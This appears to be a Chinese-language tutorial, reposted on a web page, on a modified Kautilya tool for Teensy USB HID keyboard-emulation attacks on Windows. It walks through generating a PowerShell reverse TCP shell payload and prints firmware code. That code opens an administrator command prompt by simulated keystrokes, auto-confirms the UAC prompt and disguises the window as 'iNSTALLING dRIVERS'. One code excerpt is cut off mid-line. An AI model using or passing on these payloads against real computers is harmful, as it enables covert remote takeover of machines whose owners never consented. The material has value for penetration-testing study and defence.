新聞中心
0×00 前言

HID 即 Human Interface Devices 人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤。
最近玩燒鵝的時(shí)候翻了不少資料, HID Hacking 的文章中提到的相關(guān) payload 工具主要是 S.E.T 和 Kautilya 兩個(gè)。摸索一番之后對 Kautilya 作了一些小的改進(jìn),F(xiàn)ork 后的代碼在 https://github.com/harnnless/Kautilya 。先上演示:
修改過的 Kautilya 主要針對 Windows Payload 有以下修改:
1 適應(yīng)中文系統(tǒng)。 可以選擇自動打開大寫鎖定鍵,同時(shí)生成的代碼中要鍵入的內(nèi)容已自動反轉(zhuǎn)大小寫。所以實(shí)際輸入的大小寫仍與預(yù)期一致??催^上面的演示可以注意到 Win10 默認(rèn)中文五筆輸入沒有影響。
2 提高穩(wěn)定性及利用速度。修改了幾個(gè)關(guān)鍵函數(shù),刪除不必要的延時(shí),同時(shí)在打開命令行窗口時(shí)更有效容錯(cuò)。兼顧了速度和穩(wěn)定性。演示視頻中第一遍啟動管理員權(quán)限命令行窗口失敗,腳本能檢測到并再次啟動命令行窗口,而不是盲目地進(jìn)行后續(xù) Payload 輸入。(注意:視頻中 UAC 提示窗口沒有錄到)
0×01 HID攻擊原理簡述
HID 即 Human Interface Devices人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤。
常見的USB HID 攻擊硬件有 Teensy(及兼容Teensy的國產(chǎn)燒鵝)、Arduino Leonardo、USB Rubber Ducky 等。都是通過集成的USB控制芯片模擬成USB鍵盤\鼠標(biāo),并按照事先編程好的順序發(fā)送按鍵,達(dá)到攻擊的目的。如下圖是 USB Rubber Ducky
本文的代碼適用于 Teensy 2 ++ 及國產(chǎn)燒鵝,使用了 AT90USB1286 芯片,可以使用 Teensyduino 編寫代碼。
0×02 軟硬件準(zhǔn)備
硬件
Radiowar 出品的燒鵝1.0\1.5\2.0任意版本一個(gè);或者 Teensy2++ 一個(gè)。如下圖是燒鵝2.0,沒有安裝外殼。(視頻中使用的是金士頓DT101 U盤外殼)
軟件
演示用的燒鵝支持使用 Teensyduino 軟件編寫代碼并燒錄到芯片中。Teensyduino 依賴于 arduino。由于演示的是 Windows 下的攻擊,以下軟件安裝安裝配置等都以 Windows 平臺為例。
Arduino & Teensyduino
1 首先安裝 Arduino。從官方這個(gè)頁面 下載 1.0.6 版,根據(jù)操作系統(tǒng)架構(gòu)下載32位或64位。可以直接下載 Zip 版解壓到D盤。
2 下載 安裝 Teensyduino 1.27 版。安裝過程中提示選擇正確的 arduino 目錄之后才能繼續(xù)。如果僅需要測試本文的 HID 攻擊,可以選擇None不安裝任何其它組件。
Kautilya
本文的主角 Kautilya 是專用于生成 Teensy USB HID 攻擊載荷的開源工具。由 Nikhil SamratAshok Mittal 于2011年底發(fā)布在code.google.com,后來遷移至 Github。
1 Kautilya 使用 Ruby 編寫,因此需要先安裝 Ruby 運(yùn)行環(huán)境。到這里下載安裝 1.9.3 版(由于對 Win32Console 的依賴,不要安裝2.0或以上版本)。
2 下載我修改過的 Kautilya zip 包,解壓到D盤。
3 找到并打開程序中的 Start Command Prompt with Ruby, 進(jìn)入 Kautilya 目錄安裝 Ruby 依賴:
- cd /d d:\Kautilya
- set httphttp_proxy=http://127.0.0.1:1080 // 可能需要使用代理翻墻才能正確安裝gems哦
- gem install highline -v 1.6.21
- gem install artii -v 2.0.4
- gem install colored -v 1.2
- gem install win32console -v 1.3.2 // 僅 Windows 下需要
- ruby kautilya.rb // 運(yùn)行
0×03 生成與測試
用 Kautilya 生成攻擊載荷
1 接下來演示的攻擊載荷是 Kautilya 作者發(fā)布的 Powershell 反向TCP shell。Freebuf 曾發(fā)過翻譯后的文章,請參考一周PowerShell腳本Day 1:TCP交互式PowerShell腳本。要測試請先按這篇文章在 Kali 中用 nc -lvp 端口號 監(jiān)聽,或者用 Powercat 監(jiān)聽。
2 參照視頻中的步驟,打開 Start Command Prompt with Ruby 運(yùn)行 Kautilya ,然后選擇 1. Payload for Windows -> 2. CapsLock On -> 2. Execute -> 7. Reverse TCP Shell
3 提示輸入 IP 地址時(shí)輸入 Kali 的IP或運(yùn)行 Powercat 的IP。我在視頻中是用VirtualBox運(yùn)行了一個(gè)Kali虛擬機(jī),網(wǎng)絡(luò)設(shè)置為 Host Only,IP為192.168.56.101。
4 提示輸入端口,與監(jiān)聽的端口保持一致
5 選擇 2,硬件是 Teensy2。然后在 output 下生成了 reverse_tcp.ino。
編譯并寫入
1 啟動之前安裝的 arduino,選擇 File -> Open … 打開 Kautilya 下 output 目錄中的 reverse_tcp.ino。程序會提示需要創(chuàng)建一個(gè)同名的文件夾,點(diǎn)OK
2 按工具欄的第一個(gè)圖標(biāo)Verify,校驗(yàn)并編譯。如果沒有錯(cuò)誤,會彈出TeensyLoader的小窗口
3 按住燒鵝電路板上的按鈕不放再插入U(xiǎn)SB口,然后松開按鈕(這樣可以避免執(zhí)行已寫入的程序),剛編譯的程序就自動寫入,并且也自動重啟開始執(zhí)行了
4 觀察Payload 執(zhí)行是否成功
0×04 Payload 代碼詳細(xì)分析
Payload 的主體代碼經(jīng)過細(xì)微修改,精簡如下:
上面值得注意的有兩個(gè)地方:
1 wait_for_drivers 函數(shù)。作用是 Teensy 插入電腦之后,能主動判斷 HID 能正常發(fā)送按鍵,然后再進(jìn)行后續(xù)操作??梢苑乐乖诓煌碾娔X上安裝驅(qū)動的耗時(shí)會相差較大,尤其某些時(shí)候系統(tǒng)會通過 Windows Update 查找驅(qū)動,單純添加一個(gè)較長的延時(shí)時(shí)間既不可靠也容易被捉…
2 while(!cmd_admin())。 cmd_admin 函數(shù)能判斷是否打開了命令行窗口,并確實(shí)能輸入正確的字符。也就是說能確保后面的 payload 能正確輸入。
以上兩個(gè)功能函數(shù)是如何實(shí)現(xiàn)的呢?接著看一下后面自定義函數(shù)代碼節(jié)選。
關(guān)鍵一,判斷LED狀態(tài)
- int ledkeys(void) {return int(keyboard_leds);} // 返回指定的LED狀態(tài)
- bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} //大寫鎖定是否打開
- void wait_for_drivers(int sleep){
- bool CapsLockTrap = is_caps_on();
- // 直到大寫鎖定發(fā)生改變,才確認(rèn)驅(qū)動已加載完畢,可以執(zhí)行 payload 輸入了
- while(CapsLockTrap == is_caps_on()){
- Keyboard.set_key1(KEY_CAPS_LOCK);
- Keyboard.send_now();
- unpresskey();
- delay(sleep);
- }
- }
上面代碼中最關(guān)鍵的是前兩行,is_caps_on實(shí)現(xiàn)了判斷當(dāng)前大寫鎖定狀態(tài)的功能。注意,這里的功能實(shí)現(xiàn)在Teensy2下必須有頂部的 #include,并且最好在 arduino IDE 1.0.x 下編譯。
然后 wait_for_drivers 函數(shù)通過檢查發(fā)送 CAPSLOCK 鍵之后大寫鎖定狀態(tài)有沒有變化,來判斷是否設(shè)備的驅(qū)動已加載完畢。如果按鍵后大寫鎖定燈沒改變狀態(tài),那肯定是鍵盤驅(qū)動還沒有加載完成,繼續(xù)延時(shí)等待。
也可以檢測 NumLock 或 ScrollLock,keyboard_leds 的值不一樣,分別是1和4。具體可以看 Offensive Security 的公開代碼 https://github.com/offensive-security/hid-backdoor-peensy 。
關(guān)鍵二,判斷CMD窗口打開及輸入是否正確
- // 這個(gè)函數(shù)做了較大修改,有興趣可以生成一個(gè)CapsLock Off 的腳本對照看一下
- // 修改后的函數(shù)能兼容速度不一的電腦,不需要固定成最大的延時(shí)。慢的系統(tǒng)下會重試1到多次之后打開命令行窗口
- bool cmd_admin(int reps, int millisecs){ // 打開管理員權(quán)限命令行窗口
- make_sure_capslock_is_on(); // 確認(rèn)大寫鎖定打開
- unsigned int i = 0;
- do{
- Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按 Win 鍵
- Keyboard.send_now();
- unpresskey();
- delay(400 + i * millisecs);
- // 輸入 CMD 命令,參數(shù)用于盡量隱藏窗口
- Keyboard.print("CMD /t:01 /k \"@ECHO OFF && MODE CON:cols=15 lines=1 && TITLE iNSTALLING dRIVERS\"");
- delay(800 + i * millisecs);
- Keyboard.set_modifier(MODIFIERKEY_CTRL); // Ctrl+Shift+Enter 用管理員權(quán)限打開
- Keyboard.send_now();
- Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
- Keyboard.send_now();
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- unpresskey();
- delay(1000 + i * millisecs);
- send_left_enter(); // 按左方向鍵,再回車,確認(rèn) UAC 提示框
- delay(800 + i * millisecs);
- create_click_capslock_win(); // 輸入并運(yùn)行一個(gè)更改大寫狀態(tài)的VBS
- if (check_for_capslock_success_teensy(i+3,millisecs)){ return true;} // 如果大寫狀態(tài)未改變,再試
- i++;
- }
- while (i
判斷CMD窗口打開及輸入是否正確的代碼同樣用到了檢測大寫鎖定狀態(tài)。實(shí)現(xiàn)方法是輸入并執(zhí)行一個(gè)簡單VBS腳本發(fā)送CAPSLOCK鍵,然后判斷執(zhí)行后大寫鎖定狀態(tài)。如果狀態(tài)改變就證明 CMD 窗口正確打開,并且能正確輸入 payload 了。create_click_capslock_win() 寫入并執(zhí)行 VBS,check_for_capslock_success_teensy(reps,millisecs) 進(jìn)行檢測。
上面給出的代碼沒有選擇 cmd 函數(shù),而是 cmd_admin 函數(shù),展示了使用 Ctrl+Shift+Enter 加 左方向鍵再Enter 在 UAC 啟用環(huán)境下直接打開管理員權(quán)限命令行窗口的技巧。 Kautilya 多數(shù) Windows Payload 都會用cmd_admin。如果目標(biāo)是 XP 并且用戶是管理員則可以改用 cmd,不需要 Ctrl+Shift+Enter 等。
0×05 小提示
與直覺不同,鍵盤不是僅發(fā)送按鍵,而是有雙向通訊的。很早前的AT鍵盤規(guī)范確定了如CapsLock/NumLock等燈的狀態(tài)是由系統(tǒng)發(fā)送信息,鍵盤才開關(guān)燈的狀態(tài),與是否發(fā)送相關(guān)按鍵無關(guān)。
檢測 LED狀態(tài)用于HID攻擊的方法最早于2012年發(fā)表在 https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/ ,后來被整合進(jìn) S.E.T 及 Kautilya 中。
Offensive Security 的 Peensy 公開代碼 https://github.com/offensive-security/hid-backdoor-peensy 。其中還包含了直接讀取 Teensy 的SD卡文件的方法,檢測目標(biāo)系統(tǒng)的架構(gòu)以部署相同架構(gòu)的MSF Payload等。值得進(jìn)一步了解。
0×06 參考:
[1] http://www.labofapenetrationtester.com/search/label/Kautilya
[2] https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/
當(dāng)前名稱:TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析
網(wǎng)頁鏈接:http://m.5511xx.com/article/dhopcoo.html


咨詢
建站咨詢
